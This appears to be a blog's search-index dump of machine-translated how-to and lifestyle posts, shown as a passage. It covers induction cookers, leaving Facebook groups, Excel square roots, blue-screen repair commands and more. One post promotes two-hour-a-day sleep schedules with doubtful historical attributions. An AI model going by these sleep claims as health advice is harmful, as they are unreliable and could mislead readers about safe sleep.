there is no cooker or pot without food.When you buy a kitchen from Nagakawa hot pot, you are offered a stainless steel pot with a diameter of 27cm with a very nice and convenient glass swing.\nReference price hot pot from Nagakawa: 619,000 VND\nInduction cooker Easy Cooking Supor   \nTheEasy Cooking Supor SDHCB11TVN hotpot kitchen comes with 9 convenient automatic cooking modes including hotpot, stir fry, slow fry, fry, stew, water, soup . help you easier with housework.You can easily adjust the function through the electronic touch panel designed neatly on the surface of tempered glass, good heat resistance.\nThe kitchen is also equipped with a large cooling fan at the bottom, helping to keep the details of the kitchen always cool, not too hot when the stove is running a lot, creating absolute safety for the user and helping to increase the life of the stove.\nReference price: 569,000 VND\nSingle induction hob Electrolux ETD29KC   \nHot pot from Electrolux ETD29KC has a simple, compact and beautiful design, genuine products, good quality, famous brand.Magnetic kitchen surface is made of high-class heat-resistant glass, good heat resistance, scratch resistance, easy to clean.\nControl panel system of the kitchen is quite neat and simple design, helping users easily manipulate.In addition, the kitchen is also equipped with a safety lock, which when activated will disable the entire control panel, ensuring additional safety when used, especially in families with young children often mischievously clicking on. keys while playing around the kitchen.\nReference price: 895,000 VND\nWith the experiences and suggestions that we have shared in the article, hope that readers can choose a hotpot kitchen product from single quality for home use this winter!\nncG1vNJzZmismaXArq3KnmWcp51kvbCvyp6rZp2opbKztcSnmp5lk528sL%2FIp55mrJ9ir7bFjKSgrZuYmrtustGopGadkam2r7OMoKaonF2dvLV5z6irZpuYmq6xecWoqWasmJp6p63MoqOy\n","link":"/post/pocket-experience-choosing-to-buy-kitchen-from-eating-good-hot-pot-cheap-for-the-family/","section":"post","tags":null,"title":"Pocket experience choosing to buy kitchen from eating good hot pot, cheap for the family"},{"body":"The Facebook group or Facebook Group is a Facebook term that is extremely familiar to those who use this social network. However, many people are in the situation of receiving many Facebook group announcements that I no longer care about, or no need to join the group anymore.\nIf you check each group to exit each Facebook group it will take a lot of time. If so, you can use the Toolkit For Facebook to get rid of massively quick Facebook groups. We do not need to click the group that the tool will do. The following article will guide you how to exit the Facebook group in bulk.\n2 ways to dislike the super fast Facebook Fanpage Instructions to play Live stream on Facebook chat group by phone How to turn off all notifications from Groups on Facebook 1. Guide to escape the Facebook group in bulk Step 1:\nUsers install Toolkit For Facebook on the browser according to the link below.\nDownload the Toolkit For Facebook Chrome utility   Step 2:\nAfter installing the utility, access the personal Facebook account. Click the utility icon at the end of the browser address bar.\nIn the Toolkit For Facebook interface, users navigate to the Leave multiple / all Facebook groups tool and click Start Tool to use the tool.\n  Step 3:\nSwitch to the new page view with all Facebook groups that the user is participating in Select groups. You will see the group name, group ID code and View Group button to review the group if needed.\n  Step 4:\nTo exit groups on Facebook you can click Select All Groups to select all participating groups. Or choose each group you want to exit by swiping the horizontal bar to the right.\nIf you want to re-select the group, press Un-select All Groups to deselect.\n  Step 5:\nAfter selecting, click the Start leaving Facebook Groups button below to proceed to exit the Facebook group.\n  Step 6:\nThe Facebook group exit process will take place shortly thereafter. We will see in the bottom right corner of the screen that the process of escaping the Facebook group is mass.\n  When this process is successful you will receive a notification below the screen, and display a pop-up message indicating the process of un-joinig groups completed . So you have exited Facebook groups with just a simple click.\n  2. Guide to exit Facebook group on computer Step 1: Go to group settings\n  \nIf you use Facebook on a computer browser like a desktop or laptop, you only need to log in to the account you want to exit the group. After visiting the Facebook home page, on the left-hand interface of the screen, find the Group and click.\nStep 2: Switch to the group list\n  \nAfter clicking on the Group, you will see a lot of groups appear on the screen, scroll down and you will see that your Group has joined, now a group list will be listed, you can easily know Any group I joined to easily get out of the group.\nStep 3: Leave the group\n  \nAfter finding the group list you have joined, now you just need to find out which group you don't need to stay, click the Gear icon\u0026gt; select Leave the group so you have complete leaving the group.\n3. Instructions to exit Facebook group on the phone Step 1: Go to the menu\n  \nIn addition, you can also exit groups on your phone very easily. After logging in to Facebook on the phone, on the main interface of Facebook, click on the 3 dashes icon below the screen to access the Group on Facebook.\nStep 2: Go to group management\n  \nIf on the computer interface you will see groups that you have not joined, vice versa on the phone interface you will see all the groups you have joined or added by friends are listed all. here.\nStep 3: Leave the group\n  \nNow that you want to exit any group, just press and hold on the avatar of the group you want to leave the group to leave, and here you can also have many other options such as notification settings, hide group .\nAs the article on Network Administration has instructed you 2 ways to perform mass group escape on computers and phones. Although there are now a lot of tools to support the escape of mass groups, these applications can steal your personal data, as well as the inconvenience of leaving a non-selective group, leaving This group of owners is safer.\nI wish you all success!\nSee more:\nThe application helps you not be added to strange groups on Facebook Instructions for setting up chat groups on Facebook How to call group videos on Facebook Messenger ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BYrKyVqMFuw8CyZK2nXaGyosLEZquhnV2brqSxwaimpGWXp7y2vA%3D%3D\n","link":"/post/the-fastest-way-to-leave-the-facebook-group/","section":"post","tags":null,"title":"The fastest way to leave the Facebook group"},{"body":"  Excel is a spreadsheet to help you with tasks such as calculations or statistics. Excel has a variety of functions that make it easier to calculate, including the square root function SQRT and SQRTPI . Let thuthutaphanmem.vn learn about these two types of square root functions.\n1. The square root function SQRT The square root of a number is a number x such that x2 = a, or in other words, the number x whose square is = a.\n(Quote the concept of square root)\nIn Excel, the basic square root function has the formula = SQRT (number to base)\nLet's follow the example below to get a better idea of ​​how to use this radical function.\n  When we want to calculate the square root of 16, we use the following formula:\n= SQRT (16)\nThe result is '4' and 4 is the square root of 16.\nOf course, in spreadsheets with multiple columns and values ​​that are related to each other, we won't simply calculate a specific number like 16. This function also allows you to calculate reference cells.\n  To calculate the square root of the value in cell E2, simply enter the formula:\n= SQRT (E2)\nYou will see the result is 1, copy the formula down the line below by leaving the mouse in the lower right corner of the cell containing the formula (with blue square dots), clicking and dragging the mouse down or double-clicking the mark. dot.\n  If you get the result is #NUM! then the calculation has no result. Because the condition in the root of a number must always be greater than or equal to 0.\n2. The square root function both π SQRTPI The difference between SQRTPI function and SQRT function is that the square root will multiply with π before bringing the square root.\nMeaning: SQRT (x) = SQRTPI (xπ)\n  Thank you for following up on the article about square root functions in Excel.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyorpmimnqzu86tZJ%2BnoqLCra2MoqVmnaiYsq1506GcZquhqq6zsYyrpqisXZvCr6%2FToqanZZmjeqbEwp6j\n","link":"/post/the-square-root-formula-in-excel/","section":"post","tags":null,"title":"The square root formula in Excel"},{"body":"Apple has recently apologized but often it is not enough. Apple admits it did not say how and why the iPhone slowed when the battery was old for users to understand. While most Apple fans will forgive and accept a battery replacement solution for only $ 29, there are still more demanding ones: disassembled battery design on the iPhone.\nScandal slows down iPhone: phone companies speak up, Apple alone between storms Apple received the error, replaced the battery for only $ 29, what did Apple fans think? Looks like this is a good idea but actually very short-sighted. It's not that Apple can't produce iPhones using removable batteries, but they don't.This type of battery was popular in the early 1990s. But there are other important features that we must prioritize instead of disassemble batteries.\nFirst, look at history. Apple has never produced an iPhone that can be easily removed. The battery is always sealed inside the iPhone and if you want to remove it only 2 ways:\nGo to the Apple store Buy the tool yourself and open it (of course, take all risks) Long before Steve Jobs stepped onto the Macworld stage in January 2007 to introduce the world's first iPhone, Apple decided not to use a removable battery. This is a rather contradictory option at that time when all phones have a removable battery design. But in the end it was the right choice.\n  Don't expect the removable battery to come back\nMany manufacturers of Android phones have disassembled batteries on their products as a distinct feature from the iPhone. But let's take a look at the current Android smartphone market. You will be hard to name a high-end Android phone that uses removable batteries (low-cost phones or from unnamed brands still have).\nSamsung used the monolith in both of its high-end phones, Galaxy S and Galaxy Note in 2014. LG was one of the last companies to abandon disassemble batteries in 2016 with the G5.\nPriority other features Why are companies not using removable batteries? If you are a technology person, you probably have the answer. Of course, they don't just mimic what Apple does. When choosing not to do something, you also create an opportunity to do something else. That is the trade-off.\nSo is the phone. Do not use removable batteries, in exchange, manufacturers will get the following.\nMore design options : Removable batteries are convenient but they limit phone design. Do you see any similarities between Galaxy S5 and Note 4? They all have plastic backs and are easy to peel off to see the battery. That's fine, except for those who want to use other phones better. Although Note 4 has an aluminum frame, the plastic body with rounded dots like the urgo tape of S5 does not know that there will be a tendency to combine plastic - aluminum. Samsung switched to this design on the S6 next year and still succeeds with its product.\nThe aluminum plastic body does not fit into the removable battery at all. Although it can still be done - like LG G5 for example - but will have to trade a lot. The monolithic battery offers a slimmer design and if it is a removable battery it will not be as good as using new, better materials.\nWater resistance : If you want to be able to survive higher when you fall into the water, get rain water . then the less the phone is opened, the better.   Want to fight water, dust penetrate, the more tightly the better\nIt is impossible to do so if you easily remove the cover to allow water to enter. Not only water, many phones also have dust protection capability.\nPlenty of space for other things : Disassembled batteries take up more space in the phone that has already been compressed. Other than a monolithic battery, this type of battery requires additional protection to avoid the effects that make it thicker. With a phone, a few millimeters is also important. You can feel it in your hand and nobody wants to make a thick phone when people are racing to see who makes the phone thinner. Instead of wasting room on batteries, the designer adds other features like speakers, wireless charging or fingerprint sensors .\nBatteries have a strange shape : Disassembled batteries are usually only the most square or rectangular in shape for easy removal and installation. But if you know a little bit about battery design, you'll know that the phone battery is trying to keep more power with other designs. For example, LG G2 uses batteries in ladder mode, arranges more batteries and forms arc angles instead of straight lines. iPhone X uses an L-shaped battery. Removable batteries with a traditional shape cannot provide as much electricity as those mentioned above.\nIt's time to say goodbye It is understandable that you want to use a removable battery. There is no need to upgrade when the old phone is still in good use and if you want to simply remove the battery, it will be complete, even bring some spare parts without waiting for charging. Apple didn't have the same trouble they had.\nBut like the departure of PS / 2, floppy disks, headphone jacks . the technology must step forward and leave some behind. Limited by design and technology, removable batteries can only be used when the phone is thick and not as much as it is today.\nSee more:\nHey phone manufacturer, give us back the headphone jack! Fingerprint sensor under the screen will appear next year 2018 Did you know the 4 old functions that Windows 10 still supports? ncG1vNJzZmismaXArq3KnmWcp51kwamxjK2gpp1dpLNuvsSmpq%2BZkqGybq7AraueqpmawG67zWaroZ1dpbWwusRmn5qrXZrFsbXRnps%3D\n","link":"/post/the-time-of-removable-batteries-on-the-phone-has-expired/","section":"post","tags":null,"title":"The time of removable batteries on the phone has expired"},{"body":" Discover 9 mysteries that happen in the body when falling asleep How to sleep in less than 1 minute? Why do we often feel thirsty before going to sleep? Sleep is essential to help the body recover from a day of work and study. If you don't get enough sleep, your body will be very tired and, if prolonged, your body's biological mechanism will be disturbed. On average, each of us usually spends 28.3 years sleeping, about a third of our life and that time is not small. So how many hours should we sleep every day? The answer depends on many different factors, but we usually sleep about 7-9 hours a day. The majority of sleep time is at night and a small part at noon.\nModern life today makes any of us want to extend the 24-hour period a few more hours so that we can have more sleep time.The more busy the work is, the shorter the sleep becomes.But do you know, there are even people who only sleep 2 hours a day but still maintain good health?How did they do that?This may sound difficult, but that's when you don't know these secret techniques.Here are 6 secret techniques to help you get enough sleep in just a few hours if you know how to arrange a reasonable time to work and rest .Invite you to consult!\n1. Sleep in the style of \"Our ancestors\" - 6 hours / day  © depositphotos\nSleep formula : 4 hours ( first stage ) + 2 hours ( second phase ) = 6 hours\nOur ancestral sleep is divided into two separate stages: the first stage lasts 4 hours and the second stage lasts 2 hours. These two stages are separated by a period of alertness. This period is considered a special time and is used for spiritual practice, relaxation and reading. If you want to try sleeping many stages but don't know where to start, this is the method that scientists recommend. For most people, it may be the most comfortable option and can add 30 minutes to adapt.\n2. Sleep in 'Dymaxion' style - 2 hours / day  © Image by Maia Valenzuela used under CC © depositphotos\nSleep formula : 4 naps lasting 30 minutes after every 6 hours = 2 hours\nBuckminster Fuller - a famous American architect, scholar and inventor - created a sleeping technique called ' Dymaxion ', consisting of 4 naps that lasted about 30 minutes every 6 hours. He himself applied this schedule very effectively and stated that he never felt lack of energy. After 2 years of this sleep schedule, Buckminster Fuller was examined by doctors and confirmed he had a good health.\n3. Sleep in the style of 'Superhuman' - 2 hours / day  © wikipedia © depositphotos\nSleep formula : 6 naps lasting 20 minutes after every 4 hours = 2 hours\nFor years, ' Superhuman ' is considered an effective and convenient sleep schedule. Still sleeping for 2 hours a day, but instead of 30 minutes, each of your sleeps will last 20 minutes and a total of 6 such naps every 4 hours. However, this is very difficult to do because you cannot break the schedule and skip even a period of sleep, otherwise you will feel sleepy and extremely tired. This schedule was created by Leonardo da Vinci and Salvador Dali . Dali placed a metal tray near his bed, where he sat with a spoon in his hand. When the spoon falls, the artist will wake up from the clang. The intermediate state between sleep and alertness gives him new ideas.\n4. Sleeping in 'Siesta' style - 6.5 hours / day  © wikimedia © depositphotos\nSleeping formula : 5 hours at night + 1.5 hours during the day = 6.5 hours\nThe late British Prime Minister Winston Churchill is a famous man who successfully applied this sleep. In this way, Winston Churchill often went to bed at 3 am and woke up at 8 o'clock, then slept about an hour in the afternoon. \" You have to sleep in the middle of the afternoon and in the evening, not to miss the sleep halfway. Take off your clothes and go to sleep, that's what I always do. You spend time sleeping during the day, however, the results may be even better! \", Winston Churchill said.\n5. Sleep like 'Tesla' - 2 hours 20 minutes / day  © wikimedia © depositphotos\nSleep formula : 2 hours at night + 20 minutes during the day = 2 hours 20 minutes\nInventor, physicist genius Nikola Tesla only sleeps 2 or 3 hours a day: 2 hours in the evening and about 20 minutes during the day. However, Nikola Tesla can still work effectively all night. Later, people took his name to set this sleeping method.\n6. Sleep 'Everyman' style - 2.5 hours / day  © depositphotos\nSleep formula : 2.5 hours at night + 3 times of 20 minutes during the day\nScientists have done a lot of sleep studies of children, the elderly and animals, and concluded that ' Everyman ' style sleep schedules are most flexible and adaptable. For example, elephants, they make a sleep schedule of 2 hours a day: 1 hour at night and then 3 or 4 naps about 15 minutes during the day. These naps should also be an equal amount of time. This schedule is considered to be most flexible and adaptable. Besides, naps do not cause any harm to health.\nHowever, these sleeping patterns are for reference only and they are very difficult to apply to normal people , because if you sleep a little, you will be very tired the next day. It is best to consult your doctor if you need to change your sleep time for your work.\nBelow is a reasonable time to go to bed to get up easily every morning: If you are not ready to perform difficult tests with your sleep and still want to wake up easily, you can accurately calculate your ideal body wake time in the table below:\n  See also: Scientific proof: Siesta helps you to be happier and smarter\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kg26%2FxJypnqxdqbKktM2iqK6do2LBqa3TZp%2BepKBixrDBjKCcrWWVo7y2s8dmqqWdlaV6qrqMo6ysrF2Weqex1mafqK2iqA%3D%3D\n","link":"/post/6-secret-techniques-that-help-you-get-enough-sleep-in-just-a-few-hours/","section":"post","tags":null,"title":"6 secret techniques that help you get enough sleep in just a few hours"},{"body":"Although Windows Vista has been around for quite some time, Windows XP is probably still the most popular operating system.But by comparison, the Windows XP interface looks rather monotonous and tedious.The article will help you completely change the image of Windows XP.\nVista Transformation Pack\n  Help your Windows XP 'wear' on your Vista brother's wings, including effects, icons, boot screens, color, operating system sound, and featured sidebar of Windows Vista. Even some basic features of Windows Vista will appear after installing Vista Transformation Pack.\nMac OS Transformation Pack\n  Allow Windows XP to have the look and feel of Mac OS 10.5. Talking about the beautiful drawing and the sleek, glossy look, there is probably nothing to complain about Mac operating system.\nFlyakiteOSX\n  Another utility that helps your Windows XP with the Mac OS X operating system interface, however, will be more comprehensive and comprehensive. Visual effects, sound, icons and even programs will bring complete Mac drawing. If one looks at it, it's hard to see if it's Windows XP, not a Mac operating system.\nFedora Transformation Pack\n  If you feel that Linux is too hard to use, but like its appearance, this utility will help you bring it into your Windows XP. It will help Windows XP bring the look of the Fedora Linux operating system, including icons, screensavers, wallpapers and the interface of some programs.\nVienna Transformation Pack\n  Although Windows 7 has not yet been released, its first images will definitely give us a big impression. If you want to test it in advance, you can use this suite.\nVienna Transformation Pack will change the boot interface screen, Logon screen, icons, menu bars, mouse icons, sound, wallpaper and, of course, the familiar sidebar and widget toolbar on Windows. Vista. This suite is not easy to install as most other interface change software packages. You must install each module separately (each module corresponds to a visual effect of the interface). However, this is also beneficial that you can actively install the effects on the interface that the media is interested in. And fortunately, the information that comes with this software is very detailed, even for new computer users who do not encounter any obstacles during the installation process. The above are the choices for you. Hopefully you will be able to choose the most beautiful and beautiful Windows XP 1 'outfit'.\nncG1vNJzZmismaXArq3KnmWcp51kg27B06KjoqyZmsBuwNSrpWavmaOxsMPSZq%2BpZZmjwbB5wKemraCVp3qwvMSrmK2hnpx6tMXSrZym\n","link":"/post/6-utilities-turn-windows-xp-into-another-operating-system/","section":"post","tags":null,"title":"6 utilities turn Windows XP into another operating system"},{"body":"Forget the worries about different photos and real goods when buying clothes online because Amazon has just released a smart solution to solve this most painful problem!\n7 unconscious errors are often acquired when buying brand products 15 interesting facts you may not know about Amazon 20 unique products on Amazon that you want to own right away Until now, when buying products online , especially clothing, many of us are always concerned about whether the product fits me or more importantly, is the image and reality the same? .\nAmazon, recently upgraded its service for its Prime customers by allowing them to try on clothes before buying . This program is included in the Prime Wardrobe package - Amazon's newly announced Prime wardrobe on Tuesday ( June 20 ).\n  This Amazon program is not really new because there are some \" box \" services on the US market like StitchFix or TrunkClub. When using this service, customers will be sent by the company a box of several samples of clothing to try. If any product they can keep and pay at the same time send back products not purchased.\nWith Amazon, they give customers 7 days to decide and free 2-way shipping.\nThe difference of Amazon is that customers are allowed to place their favorite products in their \" box \" instead of the stylist or algorithm. Customers who buy from 2 to 3 products will receive a 10% discount, while buying 4 or all products in the box will be reduced by 20%. Not only that, customers can also set as many boxes as you want without paying monthly subscription like other similar services.\nHowever, one thing to note is that not all clothes sold on Amazon can use the Prime Wardrobe service . The standard products will be attached the Wardrobe logo with the number of more than 1 million samples according to Amazon's promotional videos.\n  With the new Prime Wardrobe program, Amazon has made it easier to return unwanted clothing to retail stores. The program allows users to use Prime service to select some items that have been sent, free shipping prices, contained in a specially designed box that can be closed. Free international shipping service is also included and customers only pay the cost of the clothes they keep.\nReturning products is a big problem in online shopping. Nearly half - 48% - the number of customers surveyed by retailer Nazar said they returned it when buying products online in the past year.\nClothing products sold by Amazon are free of two-way shipping, a notable incentive from the company that clothing cannot be sold like other online items.\n  Unlike clothes in most stores, Amazon has one main disadvantage: there is no actual location to return products easily. Customers must print return labels and find a new box if they want to return the product. In particular, for Amazon, 74% of Amazon customers complained about printing labels and 25% of them said they felt uncomfortable because they had to find new boxes or bags, according to Nazar.\nHowever, the Prime Wardrobe program eliminates all these problems, creates trust for consumers and eliminates hesitation when clicking \" order - ordering \" without any doubt. With appropriate incentives, customers can keep product items rather than return them.\nSee also: 7 important lessons about money that every child needs to be taught\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51krq6t2ailZqeWm7Kzv4yaZKylkafBbr%2FOpaytoZ%2BjerW7jKympa6VYsGpsYympqysXaWuqrrFrqNmqKKkr62xzGauoZ2eYq%2B2xcinnmabnKTBqbHSZqanpJmjsg%3D%3D\n","link":"/post/amazon-offers-a-smart-solution-to-solve-the-most-painful-problem-when-buying-clothes-online/","section":"post","tags":null,"title":"Amazon offers a smart solution to solve the most painful problem when buying clothes online"},{"body":" This wikiHow shows you how to change a font for your wordpress.org or wordpress.com site. Login to your Wordpress site. Click Plugins on the left, then click Add New.\nMethod 1of 3:\nUsing a Font Plugin Login to your Wordpress site. Click Plugins on the left, then click Add New.\n Search for a font plugin. Try searching 'font'. Easy Google Fonts is free and easy to use. Make sure the plugin is compatible with your version of WordPress  Click Install Now to install the plugin that you've chosen. Click Activate to activate the plugin once installed.\n Configure the font settings. Click Settings under the plugin name. Edit the global font settings for your Wordpress site. Publish when finished. You can also find font settings by clicking Appearance on the left panel, then Customize. Your font plugin should be listed. Click on it to configure settings.  Method 2of 3:\nChanging Font in a Wordpress.com site Login to your WordPress site. Navigate to https://wordpress.com/ on a browser. Click Log In in the top right corner.\n Click on My Site in the top left. Click Design, then Customize.\n Click on the Fonts option. Select your desired font and click Publish. If you do not see the Font option, then you need to change to a theme that allows you to change fonts. When choosing a theme, look at the description and see if the theme allows font change.  Method 3of 3:\nCustomizing the CSS in your Wordpress site Login to your Wordpress site. Navigate to the CSS customization settings. If you feel comfortable editing code, then you can use this to change font.\n Navigate to the theme editor. Click Appearance, then Theme Editor for wordpress.org sites (Customize, then CSS on wordpress.com sites).\n Edit the style sheet. At the top, add the following code to change font globally: {font-family:\"Name of font\"}. Publish when finished. To specify a font for a particular section, change the font family name for that section. Unless you've uploaded fonts to the server, use web safe fonts only. Research which fonts are web safe. For more information on editing the CSS in Wordpress, see https://www.wikihow.com/Edit-a-WordPress-CSS-File.   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyaZLCnopm9s7HSrGSfp56p\n","link":"/post/how-to-change-a-wordpress-font/","section":"post","tags":null,"title":"How to Change a WordPress Font"},{"body":"Today TipsMake.com would like to introduce to you the ways to cut and join MP3 files in a simple, fast and easy way. Let's find out what those are.\n  1. Use the MP3 Splitter \u0026amp; Joiner software This is a paid software, but you can try it for 10 days before making a decision whether or not to buy it for use.\nYou can download the software at:\nhttp://www.ezsoftmagic.com/mp3splitter_joiner.htm\n- To merge MP3 files First, select the tab MP3 Joiner tool.\n(1) Select Add to select the MP3 files you want to join together.\n(2) You can set the information for the MP3 version after transplantation such as Music title, Singer, In which Album, Year of issue .\n(3) Select the folder to save the MP3 file after merging.\n(4) Click to start the MP3 file merging process.\n  - To cut an MP3 file Go to the MP3 Splitter tab\n(1) Select the MP3 file you want to cut.\n(2) Customize music cutting time.\n(3) Select the cut time segment.\n(4) Optionally the folder to save the MP3 file and the name of the MP3 file after cutting.\n(5) Click to start cutting MP3 music.\n  2. Use the Free MP3 Cutter Joiner software - Merge MP3 files : (1) Select Add to select the MP3 file to pair.\n(2) Click Settings to customize the output Mp3 file setting.\n(3) Click Browse to select a folder containing the merged MP3 files.\n(4) Click Start to start pairing.\n  - How to cut MP3 files : (1) Select the MP3 file you want to cut.\n(2) Select cutting time:\n- Start Point : Time to start.\n- End Point : The end time.\nYou can also use icons [and] to mark.\n(3) Select Browse to select the folder to save the file after cutting.\n(4) Click Start to start cutting MP3 files.\n  3. Use the online website Audio Cutter to cut music Website link: https://mp3cut.net/en/\nStep 1 : You download the MP3 file from your computer by clicking Open file\nAlso you can upload MP3 files from GoogleDrive, Dropbox or URL links.\n  Step 2 : You select the length of time the piece you want to cut. Then choose Cut\n  Step 3 : After the website automatically cuts the music. You choose Download to download to your computer or you can save to GoogleDrive or Dropbox.\n  4. Use the Audio Joiner website to pair music Website link: https://audio-joiner.com/en/\n(1) Click the Add tracks button to add the songs you want to join.\n(2) The playlist will then be displayed here. You can customize both the whole paragraph and the whole paragraph. The sound gets louder in the beginning or the baby gets smaller in the end .\n(3) Click Join to start pairing music.\n  Wait a bit for the site to pair the music, then you can download the new MP3 file to your computer by clicking Download.\n  In addition, you can refer to the cut and match pages like:\nhttp://mp3cut.foxcom.su/en/\nhttps://audio-cutter.com/en/\nhttp://mp3cutter.toolur.com/\nhttp://ringtonemaker.com/\nThank you for watching. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqXqiusNmoaihnmK6sX%2BMn6ClnaNiwKq5z6WwZpmemXqywcicoqWx\n","link":"/post/how-to-cut-and-join-mp3-files-simply-and-quickly/","section":"post","tags":null,"title":"How to cut and join MP3 files simply and quickly"},{"body":"The blue screen of death can happen for a variety of reasons, accompanied by error codes. However, there are still cases where you get the message 'BAD_SYSTEM_CONFIG_INFO' without any error code appearing. So, how do we solve this problem?\n  Bad System Config Info error mainly occurs because an important system file is corrupted or duplicated. The system responds by shutting itself down to protect the device.\nIn some cases, users see and stop 0x00000074 with the message Bad System Config Info. This error occurs when your device has corrupted Regedit or corrupted BCD file data. The BCD file contains important data related to system startup.\nIf you have encountered this error, don't worry too much. Follow the instructions below to fix the problem without having to reinstall the new operating system.\nFix Bad System Config Info Repair BCD . files As mentioned, BCD files are very important for the smooth running of the system. You can fix them by following the instructions below. You need to have a USB Boot / USB rescue. \u0026nbsp;\nPlease create a USB Boot Win according to the instructions in this article or with the Media Creation Tool. Then you plug the USB into the computer, the Windows installation interface will appear.\nSelect the installation language and then click Next.\n  In this step, you do not click Install now, but select Repair your computer.\n  You navigate to Troubleshoot \u0026gt;\u0026gt; Advanced options \u0026gt;\u0026gt; Command Prompt.\n  In the Command Prompt, enter the following commands in turn to edit the BCD file.\nbootrec /rebuildbcd bootrec /scanos bootrec /fixmbr   Now type exit to exit Command Prompt and then restart the computer. Check if the problem is resolved or not.\nEdit the BCD . file Another problem with a BCD file is that it can incorrectly store the amount of RAM available, the number of CPU cores, or any other information that is different from the actual amount. You can edit the BCD file again by entering the following commands in the Command Prompt to fix the error.\nDo the same as above to open the Command Prompt in the Troubleshoot interface.\nType the following commands one by one to edit the BCD file (each line is one press of Enter):\nbcdedit/deletevalue {default} numproc bcdedit/deletevalue {default} truncatememory   You can now type exit to exit and restart the computer.\nDriver update failed Faulty drivers are often the cause of BSoD, especially after you've just changed a piece of hardware. In such a case, you should update any faulty drivers on the system if any.\nTo update the problem driver, press Windows + X, and then open Device Manager.\n  You open each Device Manager category to see if there are any drivers marked with a yellow exclamation point.\n  If so, right-click it and select Update Driver.\n  Select Search automatically for drivers so that the system automatically searches and installs the latest drivers for the device. If you downloaded the driver on the vendor's website, select Browse my computer for drivers.\n  Do the same for all drivers with an exclamation mark next to them. Once done, your problem will be solved.\nRun Memory Diagnostics You can also perform a test using the Memory Diagnostics tool to make sure that there aren't any memory problems.\nTo run a memory test, press Windows + R to open the Run dialog box. Type mdsched.exe and press Enter.\n  Select Restart now and check for problems, the computer will restart immediately.\n  When the computer restarts, it automatically goes into memory scanning mode to find any bad sectors. If found, you should prioritize replacing the RAM so that you no longer experience the blue screen.\nRepair faulty disk components It is possible that the error is caused by the hard drive or a faulty drive inside it. This can be checked by performing a deep scan without using any third party tools.\nTo perform the test in Windows 10, find Command Prompt and open the application as administrator (Run as administrator).\n  Enter the following command:\nChkdsk C: /f /r /x\n  You will then be asked about performing a scan the next time the computer boots, enter Y to agree.\nNow restart your computer and it will perform a scan on the storage drive. Note that the scan may take some time to complete.\u0026nbsp;\nScan for corrupted system files Windows 10 comes with a built-in tool to fix corrupted system files. This tool is System File Checker (SFC) which can automatically repair system files. Its job is to replace any damaged or missing files.\nFind PowerShell in the search box and run the application as administrator (Run as administrator).\n  Enter the command sfc /scannow to scan the corrupted file. Wait for the scan to complete, and it will automatically fix the error right away.\n  Conclude If you experience a blue screen with the message 'Bad System Config Info', you should find a way to fix the error immediately instead of temporarily ignoring it. The methods above can both help you fix it and make sure you don't experience another blue screen. If the situation persists, you should consider reinstalling the operating system.\nfix bad system config info how to fix bad system config info ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjrcNmqrKrpJq6bq%2FOp52in12eu6e7\n","link":"/post/how-to-fix-bad-system-config-info/","section":"post","tags":null,"title":"How to Fix Bad System Config Info"},{"body":" It can be daunting for you and for your child when your child heads to middle school. The school will be bigger, full of new students and teachers, and your child will go from being one of the oldest kid in school to one of the youngest....\nPart 1of 3:\nGetting School Supplies and Clothing  Get your child a lock for her locker before school starts. It can be stressful for children to transition from cubbies in elementary school to lockers in middle school. Prepare your child for daily locker use by buying your child a lock with a combination she can remember. Encourage your child to practice opening and closing the locker so she can get into her locker at school when she needs to.[1] Most middle schools will provide locks for student lockers and/or provide combinations for the locks that your child will need to memorize. Getting her used to using a lock before school starts will give her more confidence when it comes time to use her new locker.   Ask your child's teachers for a list of school supplies. Many teachers will provide a list of supplies before the beginning of the school year or on the first day of classes. Your child will need to take several subjects in middle school and will likely be required to buy supplies for each subject, such as protractors, scientific calculators, and reading materials.[2] Leading up to the first day of school, you and your child should go shopping for basic school supplies like spiral notebooks, college rule paper, index cards, pens and pencils, and binders.   Contact the school for information about the dress code. Your child's middle school will have a clear policy on dress code and your child should try to adhere to them.[3] However, it's important that your child feels like she can fit with her peers when she gets dressed for school. Take note of what middle school children are wearing and what middle school fashions are advertised in stores. Try to come to a compromise with your child if she wants clothing you may not approve of, as long as it fits within the school dress code.  Part 2of 3:\nBoosting Your Child's Social Skills and Academic Skills  Help your child create a school schedule. Boost your child's organizational skills by helping her to write down a weekly school schedule, including all her classes and time set aside every night for homework. This will encourage her to stay organized during the school year and recognize her priorities as a middle school student. [4] If your child has hobbies or outside activities she likes to do, she should add in time in her schedule for them. It's important that your child has a balance of school work and outside activities during the school year.   Talk about how to be a good listener and getting along with others. As a new middle schooler, your child may be anxious about making friends and interacting with new people. Have a discussion with them about the importance of being a good listener and learning to get along with others in a group setting. Remind her that one of the traits of a good friend is being a good listener and expressing your feelings in a friendly and open way.[5] Demonstrate active listening to your child, which is when you intentionally focus on the person who is speaking, in a group or one-on-one. As an active listener, you should be able to repeat back what the person said in your own words. Keep in mind this does not mean you necessarily agree with the person's thoughts, but it will show that you understood what they said clearly. You should advise your child to think about how it would feel to walk in the other person's shoes and to listen with her ears as well as with her eyes and her body language. She should avoid interrupting the person speaking and let them complete their train of thought before she speaks. Once the person finishes speaking, she can respond with questions and thoughts of her own.[6] You can lead by example and act as a good active listener to your child. Ask her about her thoughts and emotions and encourage her to express her ideas. Treating her like an adult, with a mind of her own, will also help her socialize with her peers and her teachers in the middle school setting. You should also encourage your child to join in conversations and teach her how to interrupt politely. Stress the importance of making eye contact with the person you are talking to and addressing people by name.   Ask your child if she is anxious about transitioning to middle school and encourage her to share her feelings. Many children are nervous or anxious about making the transition to middle school and it can be helpful for your child to share any feelings she may be having leading up to her first day. Show interest in her feelings and be an active listener as she discusses any anxiety or fear. You and your child can then have a discussion about ways she can calm her nerves and be more confident when she heads into her first day of middle school. This could be getting all the necessary supplies and clothing before her first day, joining a club or a sports group, or encouraging your child to spend time with other middle school kids so she is socially prepared for her first day.   Encourage your child to join clubs at school. Another way to help your child socialize at school is to encourage her to get interested in clubs, sports, and recreational activities. This will give her a way to interact with her peers and children her own age. It can also smooth her transition to middle school, as she will have a group she can belong to and participate in on a daily or weekly basis.[7] You can do this by asking 